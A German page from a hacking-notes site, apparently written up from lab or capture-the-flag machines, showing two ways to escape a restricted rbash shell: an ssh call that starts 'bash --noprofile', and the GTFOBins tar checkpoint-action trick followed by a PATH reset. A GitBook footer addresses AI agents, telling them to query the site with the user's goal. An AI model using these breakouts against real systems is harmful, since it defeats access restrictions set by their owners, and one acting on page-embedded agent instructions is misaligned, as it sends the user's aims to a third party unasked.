> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/post-exploitation/escaping-rbash-to-normal-bash-linux.md).

# RBash in normale Bash entkommen

### SSH rbash:

Benutzer `mindy` verwendet derzeit eine `rbash` Shell, die die Ausführung vieler Befehle einschränkt.

<figure><img src="/files/e9dc0c0a22b0b45d2ab7ec321ce3ead5355a3e0a" alt=""><figcaption></figcaption></figure>

Um diese Einschränkung zu umgehen, können wir den Befehl verwenden, der die SSH-Verbindung erfordert, um eine Bash-Shell zu erhalten:

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/f1f0444768b296ee1291766a4c6bfbcc4ba792a3" alt=""><figcaption></figcaption></figure>

### **rbash-Bypass - tar**

Wir melden uns als Ayush an, sind aber auf eine `rbash` Shell beschränkt.

<figure><img src="/files/b158f617ecf2dbbbfe311ae09db8023367bf74e7" alt=""><figcaption></figcaption></figure>

Liste der verfügbaren Befehle:

```bash
compgen -c
```

Wir finden `tar` und umgehen `rbash` mit:

<figure><img src="/files/51f669f592d22e1e2b6c780e352e0d792478478c" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/a3042090cc338d38bd031f02197d01f42c881028" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/post-exploitation/escaping-rbash-to-normal-bash-linux.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
